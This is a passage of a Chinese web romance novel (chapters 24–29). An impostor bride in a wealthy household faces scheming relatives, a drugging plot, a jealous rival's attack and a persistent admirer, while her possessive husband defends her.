沈二伯母点头附和:“是啊,是要好好教一教。” 叶心蕊听到这话,眼底闪过一抹幸灾乐祸的笑意。 看来徐幼蓝以后的日子不会好过了。 随后,叶心蕊哼着小调离开了凉亭,沈二伯母盯着她的背影看了一会,问沈大伯母: “你觉得周家这个,怎么样?” 沈大伯母抿茶轻笑:“周家娶得这个媳妇也不怎么样,心思太简单,不过,是一把好刀。” ** 被这么一搅合,菘蓝也没了游园的兴致,她穿过转角画廊,正准备去其他地方,突然听到花农们在闲聊。 花农一边刨土一边小声道: “我还以为少夫人嫁过来会吃苦头哩,没想到这么受宠。” “是啊,之前少爷死活都不肯娶她,连婚礼都不肯去.....” “之前老爷子催少爷结婚,少爷不肯,说自己有喜欢的人了,当时闹得还挺僵,结果转头就娶了徐家的,还给宠上了天。” “这又不冲突,你看沈二爷,娶个大婆在家撑场面,外面养一堆。” 听到这些话,菘蓝睫毛颤了颤,唇角微撩,露出一个很淡的笑容。 她神色如常地从花农身边走过,没有说一句话。 花农们看到菘蓝的背影,脸色齐齐一变,像被扼住脖颈的鸭子,顿时哑然无声。 一路走回水云居,菘蓝的神色一直淡淡的。 她脸上没有任何情绪,眼底无喜无悲。 听到这些话后,她反而更放松了。 说实话,她还挺害怕沈错真心对她好的。 她不是徐幼蓝,她不过是拿人钱财,替人消灾,等任务完成,她就会离开沈家。 她背不起情债,也不想拥有任何人的真心。 满园的白色山茶花静静绽放,微风吹拂,满枝条此起彼伏,轻颤的花朵像浮动的月光。 清冷的香味像是山间的泉水,喝一口,让人足够清醒。 菘蓝刚跨过门槛,李顺就从前厅跑出来迎接,一张圆脸笑得喜气洋洋。 “少夫人,您回来啦!少爷又给你买了好多礼物,你快进屋看看。” 菘蓝淡淡扫了一眼,看到桌子上堆了一堆奢侈品包包。 她没什么反应,抬手倒了一杯茶。 看到菘蓝神色平淡,李顺尴尬地挠了挠头。 完了,看样子少夫人不喜欢包包。 少爷这礼物送错了。 菘蓝看了一眼有些尴尬的李顺,问了一句:“你们少爷回来了?” 李顺摇了摇头:“没有没有,少爷还在外面忙,这些礼物,是他抽空选的。” 菘蓝淡淡哦了一声。 李顺察觉出菘蓝神色有些不对,连忙问道:“少夫人您是不是逛园子逛累了?需要请按摩师吗?” 菘蓝:“没事,我不累,你们少爷一直都这么忙吗?” 李顺点了点头:“嗯,少爷这段时间确实忙。” 菘蓝轻轻嗯了一声,“看得出来,他这段时间很忙,不然婚礼那天,他也不会迟到了。” “额.....” 听到这话,李顺愣了愣,他没想到菘蓝会翻旧账,顿时不知道该怎么接话了。 沉默了几秒后,他磕磕绊绊地找补: “额,少夫人,少爷.....少爷....婚礼那天,少爷确实有事,但他也是马不停蹄地往回赶。” 菘蓝瞥了李顺一眼,语气幽幽道: “没事,你不用隐瞒,我知道的,你家少爷当时是去见心上人了,最后一面嘛。” 李顺听完脑瓜子嗡嗡的。 啥啊!少夫人这是在哪听得传言。 李顺连忙摆手,慌慌张张地解释道: “不不不.....少爷那天没有去见别的人,他是真的有事。” 菘蓝:“什么事?不是去见他的心上人吗?” 李顺头摇得像拨浪鼓,斩钉截铁道: “不是不是,少爷那天是真的有事,具体什么事,我不能说,但是我能发誓,我绝没有说假话!” 菘蓝:“哦。” 看着菘蓝淡然的目光,李顺心里突然有点发虚。 他想起小铁盒的事情,眼神闪闪烁烁。 他家少爷心里确实还惦记着别人,但他现在必须先稳住少夫人。 于是,他又补充道:“但是少夫人你千万别多想,少爷现在既然娶了你,一定会对你负责的。 看着李顺匆忙找补的慌张模样,菘蓝眼皮微抬,一双眸子亮得惊人。 她慵懒地靠到沙发上,单手托腮,扯着唇角轻轻笑道: “所以,你们少爷,心里真有喜欢的人呀?” 第二十四章 谁对少夫人有意见 李顺顿时呆住。 啊.....少夫人刚刚是在诈他? 天啊,他都干了些什么! 完了,彻底完了..... 李顺懊悔不已,他刚刚就不应该顺着话题往下说。 少夫人这是在给他挖坑呢! “我....不是....不是....少爷当然有心上人了,他的心上人可不就是少夫人您吗。” 李顺支支吾吾地找补,脸上挤出一个很难看的笑容。 菘蓝单手托腮,轻轻嗯了一声,给了他一个你看我信吗的眼神。 李顺低着头,耳朵通红,恨不得找个地缝钻进去。 他完了,他真的完了。 少爷要是知道了,肯定饶不了他。 菘蓝:“没事,我没生气,我不会计较的,我们是联姻,本来就没有感情基础,但我相信感情是可以慢慢培养的。 今天的事你就当没发生过,你说的话,我也当没听过。” 菘蓝轻轻笑着,笑得很温柔很知性,看不出半点怒意。 “日子还长,我和你们家少爷要做一辈子夫妻的,我不会因为这点小事就去吵闹,感情需要培养,婚姻需要经营。” 听到这些话,李顺心里松了口气,然后如释重负地点了点头。 太好了,少夫人没有生气。 不然他真的完蛋了! 李顺抬头看着菘蓝:“少夫人,你真是一个很好很好的人,少爷也是一个很好很好的人,他绝对不会亏待你的!” 菘蓝笑着喝了一口茶,声音舒朗道:“嗯,我相信他。” 其实她相不相信都无所谓,没有任何意义。 他沈错喜欢谁,跟她没有半毛钱关系。 初冬天气冷,屋子里开了地暖,非常暖和,菘蓝白皙的小脸红扑扑的,微微有些发烫。 她顺手打开窗户,冷风瞬间蹿了进来,屋里垂着的吊兰被吹得摇摇晃晃。 苔米大小的白色花苞开到一半,遇到冷风,又缩了回去,紧紧抱着花心。 菘蓝倚在窗边吹风,托着腮发呆,她的脸有点烫,被冷风吹得很舒服。 沈错一进门,就看到菘蓝倚在窗边,黑黑的长发被风吹起,单薄的肩线披着一层霞光。 他眉心皱了皱,顺手脱下外套,盖到菘蓝身上。 感受到肩头一暖,菘蓝蓦然回头,正好对上沈错漆黑的双眸。 他好看的瑞凤眼微微上挑,瞳仁倒映着微光,像破除黑夜的第一缕晨曦。 “你身体受了寒,需要保暖,别这样吹冷风。” 沈错说着,伸手关了一半的窗户。 菘蓝盯着沈错的眼睛看了几秒,想从他关切的眼神中看出一丝破绽。 但很可惜,她没在沈错脸上看到任何细小的伪装。 菘蓝目光闪了闪。 看来这人演技在他之上。 菘蓝微微低头,错开眼神,淡淡应了一声:“屋里有点热,吹冷风舒服。” 沈错看到菘蓝微红的小脸,下意识抬起手背贴了贴,在发现她的脸有点烫后,又慌乱地摸了摸她的额头。 “脸这么烫,别又发烧了吧?” 菘蓝摇头甩开沈错的手,有意跟沈错保持距离,“没有发烧啦,是地暖太热。” 摸到菘蓝温凉的额头后,沈错才微微放心,又道:“那也别吹太久冷风,小心感冒。” “嗯。” 菘蓝淡淡应了一声。 沈错挨着菘蓝,看向园里的山茶花,问道:“老婆,喜欢吗?” 菘蓝往外挪了挪身子,不咸不淡道:“喜欢,但是以后别这样了,我喜欢的,别人不一定喜欢。” 沈错感觉到菘蓝的疏离,微微拧了拧眉,语气有些霸道: “你喜欢就行了,不用管别人喜不喜欢,我只在乎你,别人,我根本不在乎,你也不用在乎。” 菘蓝抬了抬下巴:“谁是别人?你的爷爷,你的伯父伯母也是别人吗?” 沈错盯着菘蓝的脸,目光灼灼道:“除你以外的人,都是别人。” “哦。” 菘蓝又淡淡哦了一声。 沈错看着菘蓝洁白如瓷的小脸,追问道:“今天发生了什么吗?你好像不怎么开心。” 菘蓝摇头:“没有啊,挺好的。” 说完,菘蓝关上窗户,走到客厅打开了电视,抱着毛绒公仔,开始追剧。 沈错也没有再问,只是眼神一下子变得幽暗沉冷。 他出门点了根烟,喊来陪同菘蓝的佣人,直接问道:“是谁对少夫人有意见?” 佣人把传花亭里发生的事情,一五一十地告诉了沈错。 听完,沈错冷笑了两声: “呵,我那几个伯母,也太看得起自己了。” ** 傍晚。 沈大伯母和沈二伯母正在吃饭,一队人呼啦啦涌进宅院,不容分说就开始搬东西。 桌子、椅子、沙发、古董字画,被十分粗暴地丢到了货车上。 沈大伯母看得一愣一愣的,吃惊地大喊: “这.....你们这是干什么!谁让你们搬东西的?都给我住手!” “是我让搬的。” 门外,传来一个淡漠的声音。 沈错从外面走了进来,他一手拿着烟,一脚踩在门槛上,嘴角噙着笑意,黑色的大衣被风吹得猎猎作响。 沈大伯母和沈二伯母齐齐瞪直了眼睛。 “你这是什么意思?” 沈错:“没什么意思,只是帮伯母搬个家,侄子在外面买了几套好房子,请你们出去享福。” 沈二伯母愕然愣在原地。 外面的房子再好,那也比不过沈园啊。 沈园是什么地方? 是华国第一私人豪宅,在寸土寸金的海都中心,占据了几万平方米的面积。 住在沈园,更是一种身份和地位的象征。 沈二伯母看着一脸平静的沈错,扯着嗓子大喊:“你是想把我们赶出去吧?” “啧....” 沈错啧了一声。 “赶字说得多难听,但二伯母既然已经说出来了,那就没办法了。” 沈错咬着烟,嘴角化开一抹淡淡的笑意: “趁我心情还不是特别坏,你们最好赶紧搬走,不然,等会开进来的就不是货车,而是救护车了。” 第二十五章 赶出家门 这一句话,直接让沈大伯母和沈二伯母熄了声。 她们知道,这种事,沈错完完全全做得出来。 于是两人沉着脸,敢怒不敢言地看着众人搬东西。 沈大伯父和沈二伯父听到风声,着急忙慌地赶了回来。 “阿错!你这是干什么?” 沈大伯父黑着脸看着沈错,眉心拧成一个川字,眼里满是愤怒。 沈错摁灭烟头,懒洋洋地往沙发上一靠,好整以暇地看着众人道: “都说了,请你们去外面住啊。” 沈二伯父气红了脸:“什么意思?你要把我们都赶出去吗?” 沈错点头:“是啊,就是这个意思。” 看到丈夫回来,沈二伯母有了底气,挺直了腰杆嚷嚷道:“凭什么?我们也是沈家人,你凭什么把我们赶出去!” 凭什么? 沈错转悠着眼睛想了想,笑着回道:“就凭你们不喜欢我种的山茶花。” 沈二伯父一脸莫名其妙,“什么乱七八糟的!阿错你不要找事情!” 沈错瞬间抬眸,微挑的眼皮透着几分凌厉和杀机,冷声道:“惹事的不是我,是我的两个好伯母。” 沈大伯母和沈二伯母这才明白,沈错是知道了白天的事情,给媳妇出气来了。 两人很错愕,她们没有想到,沈错居然会这么维护侄媳妇,就为了几句话,兴师动众,直接翻脸。 知道事情的缘由后,沈二伯父狠狠瞪了沈二伯母一眼,压低声音骂道: “你们没事惹这个疯子干嘛?” 沈二伯母很是委屈,她哪里知道沈错会这么生气,护妻护到跟长辈翻脸。 以往她们做些出格的事情,沈错根本懒得搭理她们的。 “我不允许任何人说我老婆半句坏话,就算是你们这些长辈也不行。” 沈错语气很强硬,他静静看着众人,眼神冰冷到极点。 他们这些人,明明是对他不满,但是又不敢惹他拿捏他,就去欺负他媳妇。 沈大伯父深呼吸了一口气,出来打圆场道: “阿错,不要跟她们这些妇人一般见识,今天这件事就这么算了,改天我让你伯母,给侄媳道歉。” 沈错轻轻摇了摇头:“不不不,不行,你们今天必须搬出去。 我现在心情很不好,你们不要惹我,不然万一我情绪一激动,又犯了病,该怎么办?” 听到这话,众人脸色齐齐一白。 沈错有精神疾病,他躁郁症发作的时候,发起疯来,连老爷子都砍。 偏偏老爷子又最疼爱这个孙子,拿他一点办法都没有。 沈大伯父想了想道:“这样吧,我去跟老爷子说一声,如果老爷子同意我们搬出去,那我们就搬出去。” 沈大伯父实在没有办法,只好把老爷子搬了出来。 没一会,沈园的老管家带着人赶了过来。 老管家看着沈大伯父和沈二伯父道:“老爷子说,园子里太闹腾,他想清静清静,城北的庄园已经收拾好了,你们随时可以住进去。” 老爷子的态度很明显了。 沈二伯母气愤地翻了个白眼。 这老不死的东西,偏心都偏到太平洋了。 自己的亲儿子都不亲,把一个有精神病的孙子宠上了天。 沈大伯父神色平静,对老爷子的态度一点也不意外,他语气淡淡道: “行,老爷子既然这样说了,做儿女的也不能不孝。” 沈错连连点头,阴阳怪气道:“是啊是啊,做儿女的确实要孝顺,爷爷有您这样的儿子,真是他的福气。” 随后,他抬手看了看腕上的手表,“距离半个小时只有十分钟了,伯父你们抓紧搬东西吧。” 说完,他就挥挥手离开了,背影十分潇洒。 第二天。 菘蓝一醒来就听说了沈大伯母和沈二伯母连夜搬家的事情。 园里的佣人对她的态度也愈发恭敬。 一夜之间,所有人都知道,沈园最不能惹的人,就是少夫人。 菘蓝默默吃着早点,想着自己先前的猜测果然没错。 沈错跟他这些长辈的关系果然不好。 说不定,他也是想借着这次的机会,把那些伯父伯母赶走。 城北庄园。 刚搬到新居的沈二伯母气得一夜没睡好觉。 拉着沈大伯母骂了菘蓝两个小时。 “小婊子真是会告状啊,在我们面前硬气的不行,转头扑到男人怀里装柔弱,诉委屈。” 沈二伯母觉得菘蓝肯定在沈错面前使劲上眼药,说她们怎么欺负她了,一哭二闹三上吊,要死要活的。 不然她那个一向懒得管事的侄子,怎么会那么生气。 沈大伯母垂着眉眼,叹了口气:“咱们家这个侄媳妇,不是个好拿捏的,现在老爷子又护着她。” 沈二伯母恨恨道:“我不管,我向来有仇报仇,有怨报怨,她敢把我们赶出沈园,那她这个沈少夫人的位置,也别想坐稳!” 沈大伯母听出沈二伯母的意思,淡淡喝了口茶: “咱们不用亲自动手,园子里不止咱们看她不顺眼。” ** 水云居。 菘蓝正吃着早餐,一个女佣走到她面前道:“少夫人,老爷子请你去一趟书房。” 菘蓝听闻,暗暗想着,昨晚沈错为了给她出气,把伯父伯母赶了出去。 老爷子今天喊她过去,估计是想敲打敲打她。 恐怕在老人家眼里,她已经成了迷惑人心的妖精。 菘蓝淡淡应了一声: “好,我知道了,我等会过去。” 说完,菘蓝放下碗筷,让人把桌子上的饭菜都撤了。 佣人愣了一下,看了一眼正在刷牙的沈错:“少夫人,少爷还没吃呢?” 菘蓝有些气闷道:“他不饿,饿了也不给他吃。” 她要去听训,他还想美滋滋地吃饭? 他吃个屁! 现在所有人都知道不能得罪少夫人,水云居的佣人齐齐应声,附和道:“好的,少夫人,咱不给少爷吃早饭!” 半小时后,菘蓝到了书房。 书房的门虚掩着,菘蓝敲了敲门,里面应了一声,她便推门走了进去。 然而,她一进门,抬头就对上了一双熟悉又错愕的眼睛。 第二十六章 你去死! 周正安坐在书桌前,一脸错愕地看着菘蓝,冰山一样万年不变的脸,慢慢融化出一丝惊喜的表情。 这些日子。 菘蓝一直躲着周正安,只要周正安在的地方,她统统避开。 沈错也像防贼一样放着周正安,不许他靠近水云居半步。 所以,周正安已经好几天没看到菘蓝了。 菘蓝拧了拧眉,她也没想到周正安会在这里。 “老爷子不在吗?” 周正安痴痴地看着菘蓝,轻轻摇了摇头:“不在,这几天,都是我在用书房。” 菘蓝顿时觉得有点怪异,转身就要离开。 “等等!” 看到菘蓝要走,周正安瞬间从椅子上弹起来,一把抓住她的手腕。 “你....你别走,我有话想跟你说。” 周正安力气有些大,菘蓝觉得自己的手腕像是被铁钳钳住了,不管怎么甩,都甩不脱。 菘蓝急了:“你放开我!” 简直要疯了,他们在这里拉拉扯扯,要是被人看见,可就真说不清了。 本来上次的事情,就已经让沈错起疑心了。 “我不放,这里也没有人来。” 周正安语气罕见的强硬,他紧紧攥着菘蓝的手,眼神坚定,手背上的青筋隐隐暴起。 看不到菘蓝的这几天,他觉得像过了几个世纪一样漫长。 每分每秒都极其煎熬。 此刻,看到菘蓝,周正安的心情很激动,他右胸那颗跳动的心脏如擂鼓一样,砰砰作响。 他那雀跃的爱意根本无法掩藏。 菘蓝使劲挣脱,发现根本没用,气得大骂: “周正安,你神经病啊,你再拽着我,我就说你非礼我,你想想你的身份,想想我的身份!” 表叔非礼侄媳,传出去就很炸裂。 周正安喉结生涩地滚了两下,从嗓子里挤出一句: “如果你这样闹,那我就告诉沈家,你不是徐幼蓝,你只是冒名顶替的假新娘!” 听闻,菘蓝眼底闪过一抹慌乱。 周正安都知道了? 他是怎么知道的? 随即,菘蓝转念一想。 不,周正安也有可能在诈她,她得保持镇定,不能落入圈套。 菘蓝掩下心中的慌乱,她仰起头,直视着周正安的眼睛,声音中带着一丝呜咽: “我不知道你在说什么,请你放开我的手,你弄疼我了。” 周正安低头一看,这才发现菘蓝的手腕被他攥出了一片红痕。 红痕在她纤细洁白的手腕上,显得极其扎眼。 “对不起.....我不是故意的。” 周正安连忙松开菘蓝的手腕,温声道歉。 菘蓝没有说话,低着头,揉了揉发红酸痛的手,再抬头的时候,她的眼中蓄满了盈盈水雾。 “表叔,我真不知道我哪里得罪了你,让你一而再,再而三的针对我。 如果我做错了什么事,我跟你说一声对不起,请你见谅。” 菘蓝的眼泪说来就来。 她眼眶红红的,漂亮的琉璃杏眼蒙了一层雾气,像极了一只受到惊吓的小兔。 看到菘蓝的样子,周正安的心莫名痛了一下。 他神色复杂地看着菘蓝,如鲠在喉,久久说不出话。 或许,他不应该这样逼她。 她不愿意说,不愿意承认,一定也有她的难处。 周正安蠕动了两下嘴唇,声音干涩道:“你.....你要是不愿意承认,我也不逼你了。” 说完,周正安轻轻攥住菘蓝的手,将她的手按在自己心口的位置。 书房安静极了,整个世界好像都慢了下来。 日光不再下移,指针停止转动,落叶定格在空中。 “噗通!噗通!” 响亮的心跳声,在静止的世界无限扩大,如雷贯耳。 感受到周正安剧烈的心跳,菘蓝的手像是被烫到了一样,瞬间缩回。 她不明所以地看着周正安,不明白他是什么意思。 周正安盯着菘蓝的脸,默默看了几分钟,然后缓缓道: “一看到你,我的心跳就如万蝶振翅。 这一辈子,我的心只为一个人跳动过,她是我的妻,可是她骗了我,丢下我跑了。” 周正安的眼光太炽热,太直白,菘蓝有点遭不住。 她很想逃。 菘蓝垂着眼睑,避开周正安炽热的眼神,一本正经道: “你....你心跳的这么快,说不定心脏有毛病,你应该去医院查查心率,心率过快,会有生命危险的!” 周正安:“.........” 两人沉默了一会,菘蓝硬着头皮,转身往外走。 “我还有事,再见。” 周正安没有再追,默默看着菘蓝离去。 然而,菘蓝没走几步,突然腿脚一软,摔向地面。 “小心!” 周正安一惊,连忙伸手揽住她的腰,将她拉到自己怀里。 菘蓝皱着眉,脸色不大好看。 因为她发现自己的手脚软绵绵的,身上的力气好像被抽干了一样,没有一点劲,脑袋也晕乎乎的。 她这种症状像是被人下了药。 就在这时,书房的门突然被人一脚踹开。 叶心蕊带着人,风风火火地闯了进来,当她看到菘蓝缩在周正安怀里的时候,顿时瞪大了眼睛。 “你....你们!你们果然有奸情!” 一开始,她听人说周正安在书房跟人偷情的时候,她还不信。 周正安是什么人,身边有没有花花草草,她再清楚不过。 但如果那人是沈少夫人,可就不一样了。 谁都知道,宴会失火的那一天,周正安弃她不顾,跑去救沈家的少夫人。 要说他们之间没有猫腻,她根本就不信。 “徐幼蓝!你这个贱人!你居然勾引自己的表叔!你还要不要脸啊! 我要撕了你!贱人!我早就看出你不是个好东西!” 叶心蕊的理智在看到周正安抱着菘蓝的那一刻,荡然无存。 她从没见过周正安抱过谁。 从没见过周正安用这样温柔的眼神看过谁。 从没见过周正安奋不顾身地救过谁。 她从来没有这样嫉妒过一个人。 叶心蕊操起书桌上的砚台,狠狠砸向菘蓝的脑门,愤怒地大吼道: “徐幼蓝!你个贱人!你给我去死!” 第二十七章 这瓜带劲 叶心蕊像一头失去理智的困兽,带着愤怒的咆哮,极近疯狂地攻击菘蓝。 她手里的砚台冲着菘蓝的太阳穴。 显然是下了死手。 周正安目光一凛,抬起右臂挡在菘蓝的头顶。 “砰!” 砰得一声,砚台被砸成了两半。 周正安右臂骤沉,闷哼一声,结结实实挨了一下。 很多人听到了清脆的骨裂声。 周正安额头青筋暴起,他忍着剧痛,冷喝道:“叶心蕊!你住手!” 叶心蕊呆呆地看着周正安垂着的手臂,惊恐又懊悔道: “我....我....正安,我没想伤害你的,我只是想教训这个狐狸精。 明明已经嫁了人,还要勾引别人老公.....” 周正安深呼吸了一口气,强忍着疼痛,狠狠瞪了叶心蕊一眼:“你不要污蔑她!” 叶心蕊红着眼眶,不敢置信地看着周正安,哭嚎道: “都....都被我抓到了,你还护着她!你还护着这个小妖精!” 叶心蕊这么一闹,寂静的沈园变得喧嚣了起来。 小叔子跟侄媳妇拉拉扯扯,搂搂抱抱,不清不楚。 这瓜带劲! “徐幼蓝!近朱者赤近墨者黑,你们徐家的女人没一个好东西!你妈勾搭男人,你姑姑也勾搭男人,你也勾搭男人!” 叶心蕊疯了,歇斯底里的尖叫。 “你胡说什么!她刚刚摔跤,我只是扶了她一下。” 周正安极力忍住想要扇人的冲动,耐心跟叶心蕊解释。 骨子里的教养告诉他,无论任何情景,都不能对女人使用暴力,不能对女士动手。 可叶心蕊根本听不进去,一直以来的猜忌早就在她的心中生根发芽。 不仅如此,她的第六感也在告诉她。 周正安喜欢徐幼蓝! 嫉妒的野草像藤蔓一样在胸腔里疯长,叶心蕊知道,她再不发泄,她要疯掉了。 “你们还抱着!还抱着!害不害臊啊!” 看到周正安还抱着菘蓝,叶心蕊猛地扑过去,把两人分开。 但是菘蓝的手脚现在没有任何力气,根本站不稳。 她一个踉跄,身体失重,往后跌了过去。 但她并没有摔到地上,而是摔进了一个温暖的怀抱里。 菘蓝蓦然回头,看到了一双微挑的瑞凤眼。 瑞凤眼,眼尾上扬,瞳仁微圆,天生带了几分柔情,笑起来的时候,像蛊惑人心的钩子。 但不笑的时候,眉眼压低,眼神犀利得像刀子,看上去十分冷酷。 沈错揽着菘蓝的细腰,神色冷冽地站着,眼风像刀子一样在众人身上扫过。 叶心蕊还在骂菘蓝,一口一个贱人。 沈错眯着眼,走到她身前,抬手狠狠扇了她一巴掌。 “啪!” 这一巴掌极其响亮。 叶心蕊被扇了个踉跄,头发披散,脸歪到一边。 她捂着火辣辣的脸颊,不可置信地看着沈错:“你.....你居然打女人?” 沈错冷笑了一声,“我也不打女人,可你是贱人。” 嗯,任何辱骂他老婆的人都是贱人。 沈错捏着菘蓝绵软的手腕,探了一下她的脉搏,漆黑的眸子掠过一抹微光,幽幽道: “吃了什么脏东西啊。” 菘蓝没有想到,沈错居然一下子就看出她被下了药。 沈错很喜欢菘蓝现在这副无力的模样,因为只有这样,她才肯乖乖让他抱着。 沈错伸手,轻轻捏了捏菘蓝柔软的小脸,“说说,怎么回事,你为什么会跑到书房来。” 菘蓝知道今天的事情有人在背后作怪,如实道: “早上有个女佣,让我来老爷子的书房听训。” 沈错听完,嗤笑了一声: “呵,他敢训你,我让他坐轮椅。” 经过电话核实,老爷子并没有让人来传话,很显然,今天的事,背后有人精心预谋。 传话的女佣没有抓到,人早就跑了。 随后,菘蓝的早餐被检测出了骨骼肌松弛剂,药效发作的时候,松弛剂会导致人手脚发软,全身无力。 所以刚刚菘蓝站立不稳,只能让人扶着或者抱着。 到了这个地步,叶心蕊再蠢,也明白自己被人当了枪使。 她捧着周正安缠满绷带的右手,哭得涕泪横流,一口一个对不起。 她当时是真下了死手,只有她自己知道,刚刚那一下,有多用力。 周正安冷冷地看了一眼哭花了妆的叶心蕊:“你现在不应该跟我说对不起,你应该跟另一个人说。” 叶心蕊咬着唇,眼底闪过一抹幽怨。 她不想跟徐幼蓝道歉。 她的第六感告诉她,周正安真的喜欢徐幼蓝。 就算她这次误会了,又怎样? 贱人就是贱人! 叶心蕊不想开口,但她怕极了沈错,她红肿的右脸依旧火辣辣的。 沈错这么护妻,如果她不道歉,真的很难收场。 墨迹了很久,叶心蕊才挪到菘蓝身边,心不甘情不愿地说了句对不起。 “你的声音能大一点吗?我没听见。” 沈错冷冷地看着叶心蕊,眼神锐利如刀。 叶心蕊只好提高声音,忍着心中的戾气,冲着菘蓝道歉:“对不起!” 沈错挑了挑眉,好整以暇地看着叶心蕊道:“为什么要说对不起?把道歉的理由的讲一遍。” 叶心蕊像个小学生一样,被当众问责,脸憋得通红。 她支支吾吾了半天,最终挤出一句: “我误会她勾引我老公,情绪失控,骂了她,我做错了事情,所以道歉。” 沈错点了点头,继续道:“嗯,但道歉不是简简单单的三个字。 请你拿出你的态度,向我的夫人鞠躬道歉,要90度鞠躬道歉哦,少了一度都不行。” 说完,沈错让佣人拿来了量尺。 叶心蕊觉得沈错故意刁难她,求救地看向周正安。 周正安没有理会叶心蕊求救的眼神,把头偏向一边。 叶心蕊脸色白了白,颤巍巍的身体如坠冰窖。 没人能救她了。 “对不起!” “对不起!” “.......” 叶心蕊朝着菘蓝鞠了十几次躬,才马马虎虎达到标准,后腰疼得直不起来。 正当她以为一切都结束的时候,沈错突然又出声道: “走什么,我老婆还没表态呢,你应该问问她接不接受你的道歉。” 第二十八章 祝你幸福 对于叶心蕊的道歉,菘蓝没有正面回应。 她看得出来,叶心蕊对她有很强的敌意。 不,已经不是敌意了,是恨意。 这种恨意不是简简单单就能消除的。 “回去吧,我有点累了。” 菘蓝打了个呵欠,她体力还没恢复,脑袋有点晕。 “好嘞,听老婆的。” 沈错扬唇一笑,好看的瑞凤眼微微上翘,开扇的眼尾含情脉脉。 他抱起菘蓝,挑衅地看了一眼周正安,心情很好地离开了。 回到水云居。 菘蓝身体软绵绵的,拥着被子,懒懒地躺在床上,乖得很。 沈错知道她没力气反抗,连人带被子一起抱在怀里,嘴角高高翘起。 菘蓝静静看着沈错帅气的侧脸,脑子里有很多疑惑。 她骗过很多人,知道该怎么骗人,也知道骗人的人,表情和神态是什么样子。 可是沈错喜欢她的眼神,不像是装的。 喜欢一个人的眼神是藏不住的。 相处中,很多饱含爱意的细节是装不出来的。 可是,沈错不是有心上人吗? 怎么可能会喜欢她。 菘蓝咬着指甲想了很久,得出了一个很合理的结论。 这男人肯定是个花心大萝卜,同时喜欢着很多女人。 渣男一个。 沈错并不知道,自己已经被菘蓝打上了渣男的标签。 他现在的心情非常好。 叶心蕊在沈家丢了这么大的脸,有些无地自容,闹着要回青州。 周正安估计明天就该走了,以后估计也不会来了。 出了这种事情,多多少少要避嫌。 然而,沈错想错了。 第二天,叶心蕊坐飞机回了青州,周正安却没有回去。 他不仅没回去,还提着大包小包的营养品来看菘蓝。 沈错挡在门口,黑着脸把人拦住了。 周正安也没想着沈错会让他进去,放下营养品就走了。 周正安继续留在沈园的理由是,海都还有个项目需要考察,暂住几天。 沈错冷着脸,把周正安买的营养品统统丢进了垃圾桶。 呵呵,都是男人,他什么心思他看不出来吗? 考察什么项目?怕是醉翁之意不在酒哦。 菘蓝看到沈错幼稚的举动,并没有说什么。 她现在一点也不想跟周正安扯上关系。 这个人的情义,真会害死她的。 上次的误会虽然澄清了,但她和周正安已经被无数只眼睛盯上了。 他俩只要靠近一点,八卦和流言就会满天飞。 她过去的事情,还有真实身份绝对不能暴露。 正想着,菘蓝的手机屏幕突然跳出一条短信,显示的号码是一串陌生数字。 短信上写着: “我不知道你有什么难处,选择留在这里。 但如果你是因为钱,我同样可以给你,我会给你任何你想要的,不求任何回报。” 这个陌生号码一看就知道是谁。 菘蓝啃着指甲想了又想,删删减减,最后发了一行字过去。 “大方的陌生人,我不知道你谁,我很满意我现在的生活,谢谢。” 言外之意。 请不要再打扰我。 关上手机,菘蓝拥着被子在床上滚来滚去。 她确实很需要钱。 但是她不会白拿任何人的钱。 她只要凭自己本事赚来的钱。 另一边。 周正安拿着手机,枯坐在椅子上,反复把菘蓝的回信看了几十遍。 他从日落枯坐到日升,等到窗台的白霜融化,才怆然起身。 他想了一夜,也没想明白菘蓝为什么愿意留在沈家。 沈家是有钱,周家也有钱,同样都是好几辈子花不完的钱。 他是家里的独子,家族的继承权毫无悬念。 但沈家就不一样了。 沈家家大业大,人口繁杂,沈老爷子一过世,肯定会掀起争夺遗产的风波。 最后,周正安犹犹豫豫地打了三个字:“你爱他?” 只有爱一个人,才会甘愿画地为牢。 短信发出去后,周正安就一直盯着手机屏幕,等待回信。 等到早上七八点钟,他终于收到了回信。 回信上简单地写了两个字。 “是呀。” 看到这两个字,周正安的心缓缓沉入谷底。 盯着手机足足沉默了两个小时后,周正安艰难地打出了五个字: “那祝你幸福。” 如果这些是她想要的,他也会满足,永远不再打扰。 他只希望她能开心快乐。 菘蓝看完后,没再回信,删除短信记录,设置了通话白名单。 她以后再也不会收到陌生短信了。 周正安抬头看了看天空。 天色即白,又是新的一天了。 他拔掉手机卡,开始沉默地收拾行李。 他该回青州了。 回青州以后,他还有很多事。 他要整合手里的资源,处理一下周家和叶家的关系。 他想成为青州真正的话事人,以便未来沈家大厦倾覆的时候,还能帮她一把。 收拾好行李,周正安出了门。 他在园里等车的时候,听到有人在假山后面打电话。 李顺:“猴子啊,我跟你说啊,我前两天捅了个大篓子。” 猴子:“你捅了啥篓子?” 李顺:“害!少夫人啊,不知道在哪听得流言蜚语,听说少爷有心上人。 她不确定,就跑来诈我,我当时没想那么多,顺嘴就说出来了。” 猴子:“然后呢,少夫人啥反应?” 李顺:“我当时特别害怕,就害怕少夫人跟少爷吵架。 结果少夫人一点也不生气,说她和少爷本来就没有感情基础,以后慢慢培养感情就行了......” 周正安站在假山前面,越往下听,眉毛拧得越紧。 所以,她骗他? 她根本不爱沈错。 如果真的爱一个人,知道这种事情后,第一反应肯定是悲伤和愤怒,不可能这么心平气和。 周正安想了一会,眉宇舒展,突然笑了。 他无比庆幸听到了这些消息。 他寂灭的内心又开始喧哗。 真好,她在骗他。 她根本不爱沈错。 沈错对她也不是一心一意。 他还有机会。 阳光跃出云层,金色的光芒照在周正安的身上,他突然感觉肩头一轻,什么负担都没有了。 周正安拎起手提箱,脚步轻快,转身又回到了住处。 他决定了,他不走了。 既然上天又眷顾了他一次。 那么这一次,他一定要紧紧抓住她。 第二十九章 催眠 烟雾缭绕的暗室里,沈错背对着光,手上夹着烟,指尖的灰烬已经堆了一大截。 他绷着唇角,眉心微蹙,盯着屏幕上的信息反复看了好几遍。 “我不知道你有什么难处,选择留在这里。 但如果你是因为钱,我同样可以给你,我会给你任何你想要的,不求任何回报。” “大方的陌生人,我不知道你谁,我很满意我现在的生活,谢谢。” “你爱他?” “是呀。” “那祝你幸福。” ........ “呼.....” 青白色的烟雾喷薄而出。 沈错仰着头,喉结凸起,下颌紧绷,他沉默地盯着天花板,身上透出一种又冷又凶的气息。 沈错只有在心情极度不爽的时候才抽烟。 他需要借助这种情绪解药,把所有的烦闷吐出去。 “少爷,需要查一下这个陌生号码的使用者吗?” 